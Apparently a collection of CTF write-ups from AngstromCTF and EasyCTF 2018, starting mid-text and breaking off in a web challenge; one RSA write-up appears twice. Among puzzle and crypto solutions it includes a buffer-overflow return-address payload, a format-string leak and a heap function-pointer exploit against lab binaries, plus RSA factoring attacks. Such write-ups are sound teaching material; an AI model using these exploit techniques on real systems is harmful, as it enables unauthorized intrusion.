You have $10.00. Enter your bet: NaN 🍐 : 🍈 : 🍈 🍉 : 🍇 : 🍒 ◀ 🍒 : 🍌 : 🍒 You lost everything. Wow, you're a high roller! A flag: actf{fruity}  Therefore, the flag is actf{fruity}. # AngstromCTF_2018: gif Category: Misc Points: 50 Description: Making a gif is so hard. ## Write-up For this challenge, we can simply use the tool foremost to extract all the PNG files from the image. We get our flag in the output/png folder. Therefore, the flag is actf{thats_not_how_you_make_gifs}. # AngstromCTF_2018: Waldo 2 Category: Misc Points: 30 Description: Now I have to find the Waldo among the Waldos! Man, if I looked at these 1 per 5 seconds, it would take me 42 minutes to find the odd man out. There must be a better way... ## Write-up We find the unique jpeg, only to find out it's not a jpeg. # md5sum * | sort -u -t' ' -k1,1 9f6e902c233020026caf0ebbb1cf0ff5 waldo339.jpg ea7368fe0412bfa60cd5baf6a5c13fc9 waldo100.jpg # file waldo339.jpg waldo339.jpg: ASCII text # cat waldo339.jpg actf{r3d_4nd_wh1t3_str1p3s}  Therefore, the flag is actf{r3d_4nd_wh1t3_str1p3s}. # AngstromCTF_2018: IRC Category: Miscellanous Points: 10 Description: Join our irc channel #angstromctf on Freenode to get this flag. Admins will almost always be available here to answer questions about problems. ## Write-up A really simple challenge, sanity level, just go to the IRC. Therefore, the flag is actf{irc}. # AngstromCTF_2018: Not My Name Category: Misc Points: 40 Description: My friend sent me this copy of Lincoln's inspiring Gettysburg Address, but I can't seem to open it. Something about having the wrong name. Can you help me figure it out? ## Write-up Just an issue of a wrong extension. Simply renaming it to .docx you get the following paragraph, Four score and seven years ago our fathers brought forth on this continent, a new nation, conceived in Liberty, and dedicated to the proposition that all men are created equal. Now we are engaged in a great civil war, testing whether that nation, or any nation so conceived and so dedicated, can long endure. We are met on a great battle-field of that war. We have come to dedicate a portion of that field, as a final resting place for those who here gave their lives that that nation might live. It is altogether fitting and proper that we should do this. But, in a larger sense, we can not dedicate—we can not consecrate—we can not hallow—this ground. The brave men, living and dead, who struggled here, have consecrated it, far above our poor power to add or detract. The world will little note, nor long remember what we say here, but it can never forget what they did here. It is for us the living, rather, to be dedicated here to the unfinished work which they who fought here have thus far so nobly advanced. It is rather for us to be here dedicated to the great task remaining before us—that from these honored dead we take increased devotion to that cause for which they gave the last full measure of devotion—that we here highly resolve that these dead shall not have died in vain—that this nation, under God, shall have a new birth of freedom—and that government of the people, by the people, for the people, shall not perish from the earth. actf{thanks_mr_lincoln_but_who_even_uses_word_anymore}  Therefore, the flag is actf{thanks_mr_lincoln_but_who_even_uses_word_anymore}. # AngstromCTF_2018: Waldo 1 Category: Misc Points: 10 Description: Waldo likes flags. (This is so meta.) ## Write-up This challenge requires a minimum of one brain cell. Therefore, the flag is actf{there_is_no_collusion_(between_teams)}, # AngstromCTF_2018: Rev2 Category: Reverse Points: 80 Description: It's time for Rev2! This one is pretty similar to the first: once you get the inputs right to the program, you will get the flag. You don't need the shell server for this one, but the binary can be found at /problems/rev2/ if you would like to run it there. ## Write-up This challenge involves reading some assembly, │ 0x0804853b e890feffff call sym.imp.__isoc99_scanf │ 0x08048540 83c410 add esp, 0x10 │ 0x08048543 8b45e4 mov eax, dword [local_1ch] │ 0x08048546 3dd7110000 cmp eax, 0x11d7  This part above looks for a number equals to 0x11d7 or 4567. │ │ 0x0804858b e840feffff call sym.imp.__isoc99_scanf │ │ 0x08048590 83c410 add esp, 0x10 │ │ 0x08048593 8b45e8 mov eax, dword [local_18h] │ │ 0x08048596 83f863 cmp eax, 0x63 ; 'c' ; 99 │ │┌─< 0x08048599 7f22 jg 0x80485bd │ ││ 0x0804859b 8b45e8 mov eax, dword [local_18h] │ ││ 0x0804859e 83f809 cmp eax, 9 ; 9 │ ┌───< 0x080485a1 7e1a jle 0x80485bd │ │││ 0x080485a3 8b45ec mov eax, dword [local_14h] │ │││ 0x080485a6 83f863 cmp eax, 0x63 ; 'c' ; 99 │ ┌────< 0x080485a9 7f12 jg 0x80485bd │ ││││ 0x080485ab 8b45ec mov eax, dword [local_14h] │ ││││ 0x080485ae 83f809 cmp eax, 9 ; 9 │ ┌─────< 0x080485b1 7e0a jle 0x80485bd │ │││││ 0x080485b3 8b55e8 mov edx, dword [local_18h] │ │││││ 0x080485b6 8b45ec mov eax, dword [local_14h] │ │││││ 0x080485b9 39c2 cmp edx, eax  The next part aboves checks that both numbers on part 2, is smaller than or equals to 99 but bigger than 9. │ ││ 0x080485da 0fafc2 imul eax, edx │ ││ 0x080485dd 8945f0 mov dword [local_10h], eax │ ││ 0x080485e0 817df0670d00. cmp dword [local_10h], 0xd67 ; [0xd67:4]=-1 ; 3431  This part checks that our lovely second input has to multiple together to form 0xd67 or 3431. This factors out nicely to 47 and 73. Therefore, by now running it with all of our gathered inputs, we get $ ./rev2_32
Welcome to Rev2! You'll probably want to use a dissassembler or gdb.
Level 1: What number am I thinking of: 4567
Level 2: Which two two-digit numbers will solve this level. Enter the two numbers separated by a single space (num1 should be the lesser of the two): 47 73
Congrats, you passed Rev2! The flag is: actf{4567_47_73}


Therefore, the flag is actf{4567_47_73}.

# AngstromCTF_2018:

Category: Reverse Points: 20 Description:

For several challenges, being able to run executables on the shell server will be very important. For this challenge, you will need to connect via ssh to the shell server and navigate to /problems/run_me/. Once there, you will need to run the executable file using the command ./run_me.

## Write-up

Another simple challenge,

[email protected]:/problems/run_me$./run_me actf{why_did_you_run_me}  Therefore, the flag is actf{why_did_you_run_me} # AngstromCTF_2018: Rev1 Category: Reverse Points: 60 Description: One of the commmon categories in CTFs is Reverse Engineering, which involves using a dissassembler and other tools to figure out how an executable file works. For your first real reversing challenge, here is an ELF file. Head over to /problems/rev1/ on the shell server to try it out, and once you have the input right, get the flag! ## Write-up Another simple challenge that can be solved with strings, $ strings rev1_32
[...]
[^_]
Welcome to your first Reverse Engineering challenge!
s3cret_pa55word
Sorry, the password isn't %s. Try again!
Correct! You read my mind, have a flag:
[...]


With the password, we can now get the flag

Enter your name: %7$llx Your name is: 1eb89e5c00000000 Enter your secret password (in hex) 0x1eb89e5c easyctf{p3sky_f0rm4t_s7uff}  Therefore, the flag is easyctf{p3sky_f0rm4t_s7uff}. # EasyCTF_2018: rop1 Category: Binary Exploitation Points: 120 Description: Go to /problems/rop1 on the shell server and tell me whats in flag.txt. ## Write-up We are given two relevant files, rop1 and rop1.c. This is also relatively easy, just get the address of the function, 0x00400646 1 17 sym.get_flag  and the buffer size, void get_input() { char inp[64]; gets(inp); printf("You said: %s\n", inp); }  Add 8 to it, and prepare your payload, $ python -c "print('A' * 72 + '\x46\x06\x40\x00')" | ./rop1
You said: AAAAAAAAAA[email protected]
easyctf{r0ps_and_h0ps}
Segmentation fault (core dumped)


Therefore, the flag is easyctf{r0ps_and_h0ps}.

# EasyCTF_2018: Fanfic Studio

Category: Binary Exploitation Points: 350 Description:

Go to /problems/fanfic to check out my cool fanfic writing tool. I expect you to send me some steamy fanfics of michael.

## Write-up

We are given two relevant files, fanfic and fanfic.c. This is a relatively easy challenge where the goal is just to exploit the chapter structs. Firstly, the exploitable regions include the following,

struct chapter {
struct chapter *prev_chapter;
struct chapter *next_chapter;
char title[50];
char content[256];
void (* print_ch)(int, struct chapter *);
};


and,

while (curr_ch != NULL) {
curr_ch->print_ch(i, curr_ch);
curr_ch = curr_ch->next_chapter;
i++;
}


In a nutshell, to crack the puzzle, two functions need to be called, validate() and give_flag(). We can get the addresses of these functions simply through radare2.

[0x08048620]> afl
[...]
0x080487b4    3 22           sym.validate
0x080487ca    1 37           sym.be_nice
0x080487ef    9 147          sym.give_flag
0x08048882   36 1423         main
[...]


So now that we have our addresses, let's look at validate(). From an initial overview, it seems we just need to overwrite the ans variable to ensure when XORed with 0xDEADBEEF gives 0xDEADBEAF.

int success = 0xFFFF;
void validate(int ans) {
success = 0xC001B4B3;
}
}


Reversing the equation, we get,

>>> 0xDEADBEAF ^ 0xDEADBEEF
64


and since the code responsible for calling the function throws in the page number as the argument,

i = 1;
curr_ch = fanfic->first_chapter;
while (curr_ch != NULL) {
curr_ch->print_ch(i, curr_ch);
curr_ch = curr_ch->next_chapter;
i++;
}


We just simply need to make this the 64th page. With validate() successfully called on the 64th page, we can then call give_flag() on the 65th page. Now, just simply pipe the script to our exploitable fan fiction program!

[email protected]:~$cd /problems/fanfic [email protected]:/problems/fanfic$ ~/solve.py | /problems/fanfic/fanfic
Please enter the title of your brand new fanfic: You have started writing the fanfic 'A'. Please select an option to get started!
1. Edit chapter
2. Delete chapter
3. Publish fanfic
> Enter chapter number to edit: Adding new chapter
Enter chapter title: Enter chapter contents: 1. Edit chapter
2. Delete chapter
3. Publish fanfic
[...]
> Enter chapter number to edit: Adding new chapter
Enter chapter title: Enter chapter contents: 1. Edit chapter
2. Delete chapter
3. Publish fanfic
> Enter chapter number to edit: Editing chapter
Enter new chapter text:
1. Edit chapter
2. Delete chapter
3. Publish fanfic
> Enter chapter number to edit: Editing chapter
Enter new chapter text:
1. Edit chapter
2. Delete chapter
3. Publish fanfic
> Fanfic published! Here it is:
===============
A
===============

---------------
Chapter 1: A
---------------
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

[...]
---------------
Chapter 62: A
---------------
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

---------------
Chapter 63: A
---------------
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
easyctf{h34p_expl01ts_ru1n1ng_my_f4nf1cs}


Therefore, the flag is easyctf{h34p_expl01ts_ru1n1ng_my_f4nf1cs}.

# EasyCTF_2018: Markov's Bees

Category: Linux Points: 80 Description:

Head over to the shell and see if you can find the flag at /problems/markovs_bees/ !

## Write-up

A really simple challenge involving grep,

$grep -R easyctf /problems/markovs_bees/ /problems/markovs_bees/c/e/i/bee913.txt:easyctf{grepping_stale_memes_is_fun}  Therefore, the flag is easyctf{grepping_stale_memes_is_fun}. # EasyCTF_2018: Web Category: Intro Points: 10 Description: The web goes well beyond the surface of the browser! Warm up your web-sleuthing skills with this challenge by finding the hidden flag on this page! ## Write-up Another simple introductory challenge, [email protected]:~# curl https://cdn.easyctf.com/048c63edc2ffec871a3e3a8dce341e9f5c1493372734a429a5603ad0853f73c6_index.html <!doctype html> <html> <head> <style> body { font-family: sans-serif; padding-left: 30px; padding-top: 15px; } </style> </head> <body> <h1>Welcome to EasyCTF!</h1> <p>The flag is just below:</p> <!-- easyctf{hidden_from_the_masses_2978fa} --> </body> </html>  Therefore, the flag is easyctf{hidden_from_the_masses_2978fa}. # EasyCTF_2018: The Oldest Trick In the book Category: Intro Points: 10 Description: This is literally one of oldest tricks in the book. To be precise, from the year AD 56. Crack me. wskqulx{o3du0e3_70_345qu7x_97wxww} ## Write-up This one is also dead simple, simply use a site like theblob and get all the possible ROT permutations. We see that at ROT-8, we get our flag! ROT-0: wskqulx{o3du0e3_70_345qu7x_97wxww} ROT-1: xtlrvmy{p3ev0f3_70_345rv7y_97xyxx} ROT-2: yumswnz{q3fw0g3_70_345sw7z_97yzyy} ROT-3: zvntxoa{r3gx0h3_70_345tx7a_97zazz} ROT-4: awouypb{s3hy0i3_70_345uy7b_97abaa} ROT-5: bxpvzqc{t3iz0j3_70_345vz7c_97bcbb} ROT-6: cyqward{u3ja0k3_70_345wa7d_97cdcc} ROT-7: dzrxbse{v3kb0l3_70_345xb7e_97dedd} ROT-8: easyctf{w3lc0m3_70_345yc7f_97efee} ROT-9: fbtzdug{x3md0n3_70_345zd7g_97fgff} ROT-10: gcuaevh{y3ne0o3_70_345ae7h_97ghgg} ROT-11: hdvbfwi{z3of0p3_70_345bf7i_97hihh} ROT-12: iewcgxj{a3pg0q3_70_345cg7j_97ijii} ROT-13: jfxdhyk{b3qh0r3_70_345dh7k_97jkjj} ROT-14: kgyeizl{c3ri0s3_70_345ei7l_97klkk} ROT-15: lhzfjam{d3sj0t3_70_345fj7m_97lmll} ROT-16: miagkbn{e3tk0u3_70_345gk7n_97mnmm} ROT-17: njbhlco{f3ul0v3_70_345hl7o_97nonn} ROT-18: okcimdp{g3vm0w3_70_345im7p_97opoo} ROT-19: pldjneq{h3wn0x3_70_345jn7q_97pqpp} ROT-20: qmekofr{i3xo0y3_70_345ko7r_97qrqq} ROT-21: rnflpgs{j3yp0z3_70_345lp7s_97rsrr} ROT-22: sogmqht{k3zq0a3_70_345mq7t_97stss} ROT-23: tphnriu{l3ar0b3_70_345nr7u_97tutt} ROT-24: uqiosjv{m3bs0c3_70_345os7v_97uvuu} ROT-25: vrjptkw{n3ct0d3_70_345pt7w_97vwvv}  Therefore, the flag is ROT-8: easyctf{w3lc0m3_70_345yc7f_97efee}. # EasyCTF_2018: Hello, World! Category: Intro Points: 10 Description: Using your favorite language of choice, print Hello, world! to the output. For Python, consider the print function. For Java, consider System.out.println. For CXX, consider including stdio.h and using the printf function. ## Write-up A really braindead one, the solution is just, print("Hello, world!")  Therefore, there is no flag. # EasyCTF_2018: Hashing Category: Intro Points: 20 Description: Cryptographic hashes are pretty cool! Take the SHA-512 hash of this file, and submit it as your flag. ## Write-up Really simple too, just use sha512sum on Linux, # sha512sum sha512.png 418a53d3e4c8239d7c861ad2836e4b6b4488a8ef3327b4783e42b7f074d414f5a95e7db14ebe5177354ec58dadb5377e5248fda3b9a11edc8362b58a5c38d896 sha512.png  Therefore, the flag is 418a53d3e4c8239d7c861ad2836e4b6b4488a8ef3327b4783e42b7f074d414f5a95e7db14ebe5177354ec58dadb5377e5248fda3b9a11edc8362b58a5c38d896. # EasyCTF_2018: Reverse Engineering Category: Intro Points: 30 Description: What does this Python program do? And more specifically, what input would give this output? 6538c2937cc3bb20c3983ac2ab4901c38fc297161fc2a6c3b3c281c28107c2a7c2a03fc3956ec3b55350 ## Write-up This one was a simple one as well, just with a twist of UTF-8. Solving this is just knowing that XOR operations are entirely reversable and therefore, we just have to input our output back in to get our input. cipher = b"6538c2937cc3bb20c3983ac2ab4901c38fc297161fc2a6c3b3c281c28107c2a7c2a03fc3956ec3b55350" def unmystery(s): r = "" for i, c in enumerate(s): r += chr(ord(c) ^ ((i * ord(key[i % len(key)])) % 256)) return r print(unmystery(binascii.unhexlify(cipher).decode("utf-8")))  The full script is available here. [email protected]:~/downloads# ./mystery.py easyctf{char_by_char_41d6D3}  Therefore, the flag is easyctf{char_by_char_41d6D3}. # EasyCTF_2018: Netcat Category: Intro Points: 20 Description: I've got a little flag for you! Connect to c1.easyctf.com:12481 to get it, but you can't use your browser! (Don't know how to connect? Look up TCP clients like Netcat. Hint: the Shell server has Netcat installed already!) Here's your player key: 391834438. Several challenges might ask you for one, so you can get a unique flag! ## Write-up Simple challenge, just use netcat, or nc. [email protected]:~# nc c1.easyctf.com 12481 enter your player key: 391834438 thanks! here's your key: easyctf{hello_there!_94A17F16678CeCA3}  Therefore, the flag is easyctf{hello_there!_94A17F16678CeCA3}. # EasyCTF_2018: Linux Category: Intro Points: 10 Description: Log into the shell server! You can do this in your browser by clicking on the Shell server link in the dropdown in the top right corner, or using an SSH client by following the directions on that page. Once you've logged in, you'll be in your home directory. We've hidden something there! Try to find it. :) ## Write-up Another simple challenge, involving SSH. [email protected]:~# ssh [email protected] The authenticity of host 's.easyctf.com (165.227.212.254)' can't be established. ECDSA key fingerprint is SHA256:CNCQb5MB2MSas+mn3naxQUK0U6diDChNC5Des+902ME. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 's.easyctf.com,165.227.212.254' (ECDSA) to the list of known hosts. [email protected]'s password: ______ _____ _______ ______ | ____| / ____|__ __| ____| | |__ __ _ ___ _ _| | | | | |__ | __| / _ / __| | | | | | | | __| | |___| (_| \__ \ |_| | |____ | | | | |______\__,_|___/\__, |\_____| |_| |_| __/ | |___/ Welcome to EasyCTF IV's Shell server! == Questions? Bugs? Let us know on Discord == == https://discord.gg/UxCJxf4 == Rules: 1. If you aren't sure if you should be doing something, ask an organizer or don't do it. 2. Be nice to people. If there's any software that you'd like to have installed, let one of the organizers know on Discord! Last login: Sun Feb 11 03:03:52 2018 from 173.245.48.85  Doing a bit of sleuthing, we find a hidden file .flag. [email protected]:~$ ls -lah
total 28K
drwx------  3 user55221 ctfuser 4.0K Feb 11 03:04 .
drwxr-xr-x 61 root      root    4.0K Feb 11 03:05 ..
-rw-r--r--  1 user55221 ctfuser  220 Aug 31  2015 .bash_logout
-rw-r--r--  1 user55221 ctfuser 3.7K Aug 31  2015 .bashrc
drwx------  2 user55221 ctfuser 4.0K Feb 11 03:04 .cache
-rw-r--r--  1 user55221 ctfuser    0 Feb  7 13:52 .cloud-locale-test.skip
-rw-r--r--  1 user55221 ctfuser   41 Feb  7 13:41 .flag
-rw-r--r--  1 user55221 ctfuser  655 May 16  2018 .profile


Next, just cat it!

[email protected]:~$cat .flag easyctf{i_know_how_2_find_hidden_files!}  Therefore, the flag is easyctf{i_know_how_2_find_hidden_files!}. # EasyCTF_2018: Soupreme Encoder Category: Crypto Points: 20 Description: Decode this 68657869745f6d6174655f6662623461303034636232313632383661396231 ## Write-up This challenge is also really simple after recognizing the presence of ASCII characters encoded in hexadecimal. As I'm a really fancy and posh person, I resort to using rax2 from radere2 to convert this but any hexadecimal to ASCII converter will do the same! [email protected]:~# rax2 -s 68657869745f6d6174655f6662623461303034636232313632383661396231 hexit_mate_fbb4a004cb216286a9b1  Therefore, the flag is hexit_mate_fbb4a004cb216286a9b1. # EasyCTF_2018: RSA_v Category: Cryptography Points: 200 Description: Bob is extremely paranoid, so he decided that just one RSA encryption is not enough. Before sending his message to Alice, he forced her to create 5 public keys so he could encrypt his message 5 times! Show him that he still is not secure... rsa.txt. ## Write-up This challenge revolves around the underlying principle of RSA and how encrypting a message 5 times with increasing exponents ultimately leads to complete confidentiality exploitation. The very base of the formula goes along something like this, c = m^e mod n  However, by encrypthing it multiple times with the same n but differing e you get, c1 = m^e1 mod n c2 = c1^e2 mod n c3 = c2^e3 mod n c4 = c3^e4 mod n c5 = c4^e5 mod n  Which when compiled looks like c5 = ((((m^e1)^e2)^e3)^e4)^e5 mod n  As powers simply multiply up, where 2^(3^2) is just 2^6, we can calculate the effective e. e = e1 * e2 * e3 * e4 * e5 = 27587468384672288862881213094354358587433516035212531881921186101712498639965289973292625430363076074737388345935775494312333025500409503290686394032069  Now that we have the effective e we can produce our proper challenge, e = 27587468384672288862881213094354358587433516035212531881921186101712498639965289973292625430363076074737388345935775494312333025500409503290686394032069 n = 9247606623523847772698953161616455664821867183571218056970099751301682205123115716089486799837447397925308887976775994817175994945760278197527909621793469 c = 7117565509436551004326380884878672285722722211683863300406979545670706419248965442464045826652880670654603049188012705474321735863639519103720255725251120  e seems like a really big number, similar to smallRSA of PicoCTF, let's try the same exploit, using Wiener's Attack, as we used back then! Literally ripped almost the same script from back then. # ./solve.py easyctf{keblftftzibatdsqmqotemmty}  Therefore, the flag is easyctf{keblftftzibatdsqmqotemmty}. # EasyCTF_2018: Souper Large Primes Category: Cryptography Points: Description: Technically I used strong primes. But are they really strong in this case? They are big, but there might still be an issue here. n.txt e.txt c.txt. ## Write-up This challenge was relatively simple, except that it required a bit of tweaking to actually decrypt the mesage in time. Firstly, the values of p and q was easily factored with the help of Fermat's algorithm, particularly using the attackrsa tool. # attackrsa -t fermat -n$(cat n.txt)
====== Cracked! =======
p is 0x42178a3d54[...]
q is 0x42178a3d53[...]


After getting p and q, we can easily calculate d with gmpy2 but instead of going that route, I chose to use CRT to decrypt the message. Even with CRT, it took my Macbook a good 20-30 minutes to decrypt the message. Lame.

# Use CRT to decrypt
dp = gmpy2.invert(e, (p-1))
dq = gmpy2.invert(e, (q-1))
qinv = gmpy2.invert(q, p)

# Get message
m1 = gmpy2.powmod(c, dp, p)
m2 = gmpy2.powmod(c, dq, q)
h = (qinv * (m1 - m2)) % p
m = m2 + h * q


With that, quickly formulate a Python script to crack our message for us.

# ./solve.py
110010101100001011100110111100101100011011101000110011001111011010100110111010001110010001100000110111001100111010111110111000001110010011010010110110100110011011100110101111101101110001100000111010001011111011100110011000001011111011100110111010001110010001100000011000000110000011011100110011101111101

# rax2 -b 110010101100001011100110111100101100011011101000110011001111011010100110111010001110010001100000110111001100111010111110111000001110010011010010110110100110011011100110101111101101110001100000111010001011111011100110011000001011111011100110111010001110010001100000011000000110000011011100110011101111101
????????????ξ????f??????????


Our m was this weird string of numbers, maybe it's binary? Well, decoding it from binary proved fruitless, let's add a 0 in front of it.

# rax2 -b 011001010110000110011001111011010100110111010001110010001100000110111001100111010111110111000001110010011010010110110100110011011100110101111101101110001100000111010001011111011100110011000001011111011100110111010001110010001100000011000000110000011011100110011101111101
easyctf{Str0ng_prim3s_n0t_s0_str000ng}


Therefore, the flag is easyctf{Str0ng_prim3s_n0t_s0_str000ng}.

# EasyCTF_2018: Hidden Key

Category: Cryptography Points: 250 Description:

Ugh, another RSA problem? Help me decrypt this message please file.

## Write-up

This challenge was way too simple for a 250 point challenge. From the start we are given 4 variables, n, e, c and 2d+phi(n). Well, there's a problem right there. d is derived from e^-1 mod(phi(n)) and 2d is just 2e^-1 mod(phi(n)). If you add phi(n) to any equation with a mod(phi(n)), it would simply get modulo-ed and wrap around having no effect. As such, our 2d+phi(n) is just 2d. To get d, just divide by 2.

# 2d+phi(n)=37732317402097892656548210368059150520715311244186827321460515339110825509994606476441219328574059681654107935415953369600005791889525955066919184173730927777542439132137456187316767857542892181069605145389028008447003177489965519989581906591202747002126347010093645064766054828212106925552838747800759084251589866089273026254966234164176466563186438248776961541146620434009503689100128122320997739428424975306256417865610162074912031638292878093662018512614000114412433772628503843778614582386663028723327141014781803346402661832265806675785945746391801332346416280561063520342062390151626459813123281193179325458386
s = 37732317402097892656548210368059150520715311244186827321460515339110825509994606476441219328574059681654107935415953369600005791889525955066919184173730927777542439132137456187316767857542892181069605145389028008447003177489965519989581906591202747002126347010093645064766054828212106925552838747800759084251589866089273026254966234164176466563186438248776961541146620434009503689100128122320997739428424975306256417865610162074912031638292878093662018512614000114412433772628503843778614582386663028723327141014781803346402661832265806675785945746391801332346416280561063520342062390151626459813123281193179325458386

# Calculate d
d = s // 2


Now we can just decrypt the message using Python.

# ./hidden-key.py
easyctf{1n1n77n9x2db57dqbk}


Therefore, the flag is easyctf{1n1n77n9x2db57dqbk}.

# EasyCTF_2018: Not OTP

Category: Cryptography Points: 100 Description:

It seems we've intercepted 2 strings that were both encrypted with what looks like OTP! Is it possible to decrypt them? file

## Write-up

This challenge was physically and mentally the worst of all challenges. Essentially, the OTP used has been used twice. By XOR-ing both strings together, we effectively remove the presence of the OTP key. So, to decrypt the message, we need to do dragcribbing using a tool.

The hardest part about this challenge is guessing that crib was in reference to cribbing in reference to Known-Plaintext Attack. Other than that, this challenge is essentially a guessing game.

# ./cribdrag.py 0b071b0512440400024106001614001d06490448001048540a04421a00105216184516045c493a0f450d4802154e590e195318491e09460b1756111d00065516121e514c034c0e0100191f410c0f071c1b00460e1c11147f1d1a503c0c1654002d01135f0e141a

40   that you will never guess! flag is easy
80  ctf{otp_ttp_cr1b_dr4gz}
0   cribs are beds in which babies sleep. Th
40  ey can also refer to a sample of plainte
80  xt used in codebreaking


Therefore, the flag is easyctf{otp_ttp_cr1b_dr4gz}.

# EasyCTF_2018: Keyed Xor

Category: Cryptography Points: 100 Description:

A flag has been encrypted using keyed xor. Can you decrypt it? File. The key was created by taking two words from this wordlist.

## Write-up

This challenge was one of the harder challenges in this CTF but once you understand the logic, the challenge can be broken down into two parts, each for finding the both words. The first part in this is to understand that our flag has a standard format of easyctf{xxxx}, thus, we can take advantage of the two-way XOR encryption to look for the first word first.

By encrypting our encrypted data with a cycled key of easyctf{, we get

# ./xor.py
drivell


Looking it up in the wordlist, we get the word drivelling. Wonderful, we've essentially square-rooted our time to solve this challenge and thus we can move on to quickly guessing our second word. This part is easily solved with attention, tenacity and scripting.

# ./solve.py
easyctf{flagflagflagflagswrugdyiitwsfffyjjmdysukuiqdoqrxzamyhbbhboyfiesoyu}


Therefore, the flag is easyctf{flagflagflagflagswrugdyiitwsfffyjjmdysukuiqdoqrxzamyhbbhboyfiesoyu}.

# EasyCTF_2018: xor

Category: Cryptography Points: 50 Description:

A flag has been encrypted using single-byte xor. Can you decrypt it? File.

## Write-up

As a single-byte xor, this challenge is much more easily solved with a simple Python script.

for i in range(255):
plaintext = ""
for c in data:
plaintext += chr(c ^ i)

if "easyctf" in plaintext:
print(plaintext)


Full script available here.

[email protected]:~/downloads# ./solve.py
easyctf{nsbtbzlfudpixosinwqfckqrx}


Therefore, the flag is easyctf{nsbtbzlfudpixosinwqfckqrx}.

# EasyCTF_2018: RSA Returns

Category: Cryptography Points: 400 Description:

It's the return of everyone's favorite cryptosystem! Crack it for another flag. Help me decipher file.

## Write-up

This challenge reeks of ROCA and even signature checks confirmed it. However, there were no PoCs for ROCA. Instead, I came across NECA. I love open source.

$./neca 8729581225262922855975327965201482091621603739716646047811615593091116970536029316597901441665882719811658068143200342813247447157083464709878924070575467 NECA - Not Even Coppersmith's Attack ROCA weak RSA key attack by Jannis Harder ([email protected]) *** Currently only 512-bit keys are supported *** *** OpenMP support enabled *** N = 8729581225262922855975327965201482091621603739716646047811615593091116970536029316597901441665882719811658068143200342813247447157083464709878924070575467 Factoring... [= ] 5.40% elapsed: 92s left: 1610.35s total: 1702.36s Factorization found: N = 98156620780003086692513114529458599425385116396074158691207247964958060681783 * 88935225722861812850195157838313383408060631426601900565225384215559424240749  Now that we have our factors, just simply decrypt c $ ./solve.py
easyctf{kmwmv8wnhnap5old1p}


Therefore, the flag is easyctf{kmwmv8wnhnap5old1p}.

# EasyCTF_2018: Substitute

Category: Crypto Points: 50 Description:

Nobody can guess this flag! msg.txt

## Write-up

We are given a cryptic message that we are supposed to solve using substitution cipher. Thankfully, quipqiup exists.

FI! XJWCYIUSINLIGH QGLE TAMC A XCU NSAO NID EPC WEN AXM JL EIEASSF HDIGM IN JEL JXOCXGJEF. EPJL JL ASLI EPC LCWIXM HDIYSCT CZCD TAMC NID CALFWEN. PCDC: CALFWEN{EPJL_JL_AX_CALF_NSAO_EI_OGCLL} GLC WAHJEAS SCEECDL.


becomes

YO! NICEBOWLOFSOUP JUST MADE A NEW FLAG FOR THE CTF AND IS TOTALLY PROUD OF ITS INGENUITY. THIS IS ALSO THE SECOND PROBLEM EVER MADE FOR EASYCTF. HERE: EASYCTF{THIS_IS_AN_EASY_FLAG_TO_GUESS} USE CAPITAL LETTERS.


Therefore, the flag is EASYCTF{THIS_IS_AN_EASY_FLAG_TO_GUESS}.

# EasyCTF_2018: RSA_v

Category: Cryptography Points: 200 Description:

Bob is extremely paranoid, so he decided that just one RSA encryption is not enough. Before sending his message to Alice, he forced her to create 5 public keys so he could encrypt his message 5 times! Show him that he still is not secure... rsa.txt.

## Write-up

This challenge revolves around the underlying principle of RSA and how encrypting a message 5 times with increasing exponents ultimately leads to complete confidentiality exploitation. The very base of the formula goes along something like this,

c = m^e mod n


However, by encrypthing it multiple times with the same n but differing e you get,

c1 = m^e1 mod n
c2 = c1^e2 mod n
c3 = c2^e3 mod n
c4 = c3^e4 mod n
c5 = c4^e5 mod n


Which when compiled looks like

c5 = ((((m^e1)^e2)^e3)^e4)^e5 mod n


As powers simply multiply up, where 2^(3^2) is just 2^6, we can calculate the effective e.

e = e1 * e2 * e3 * e4 * e5
= 27587468384672288862881213094354358587433516035212531881921186101712498639965289973292625430363076074737388345935775494312333025500409503290686394032069


Now that we have the effective e we can produce our proper challenge,

e = 27587468384672288862881213094354358587433516035212531881921186101712498639965289973292625430363076074737388345935775494312333025500409503290686394032069
n = 9247606623523847772698953161616455664821867183571218056970099751301682205123115716089486799837447397925308887976775994817175994945760278197527909621793469
c = 7117565509436551004326380884878672285722722211683863300406979545670706419248965442464045826652880670654603049188012705474321735863639519103720255725251120


e seems like a really big number, similar to smallRSA of PicoCTF, let's try the same exploit, using Wiener's Attack, as we used back then! Literally ripped almost the same script from back then.

# ./solve.py
easyctf{keblftftzibatdsqmqotemmty}


Therefore, the flag is easyctf{keblftftzibatdsqmqotemmty}.

# EasyCTF_2018: In Plain Sight

Category: Web Points: 70 Description:

I've hidden a flag somewhere at this site... can you find it?

## Write-up

Easily solved with the help of DNS.

$dig TXT blockingthesky.com ; <<>> DiG 9.8.3-P1 <<>> TXT blockingthesky.com ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 3137 ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;blockingthesky.com. IN TXT ;; ANSWER SECTION: blockingthesky.com. 29 IN TXT "_globalsign-domain-verification=kXlECiyonFE_qsQR-8ki6BOIdVru3bzxpwMDZr334_" blockingthesky.com. 29 IN TXT "easyctf{betcha_wish_you_could_have_used_ANY}" ;; Query time: 88 msec ;; SERVER: 192.168.144.1#53(192.168.144.1) ;; WHEN: Sun Feb 11 15:49:37 2018 ;; MSG SIZE rcvd: 180  Therefore, the flag is easyctf{betcha_wish_you_could_have_used_ANY}. # EasyCTF_2018: NoSource Category: Web Points: 250 Description: All you CTFers are sure getting on my nerves with your source-viewing and developer tools-ing! Alas, despite my best wishes, the experienced programmers on the wonderful website StackOverflow tell me that it's impossible to keep you from looking at the HTML. But a disable right click script certainly won't stop an experienced CTFer like you! So finding the flag in the source of this problem should be no trouble, right? ## Write-up Essentially, the crux of this problem is that no developer's console could ever save you from the pain. To get around the problem of not having developer's console, I simply packet dumped my traffic and picked the packet containing the actual HTML page. What you end up getting is the source code! <!-- Stop looking at the source code --> <!doctype html> <html lang="en"> <head> <meta 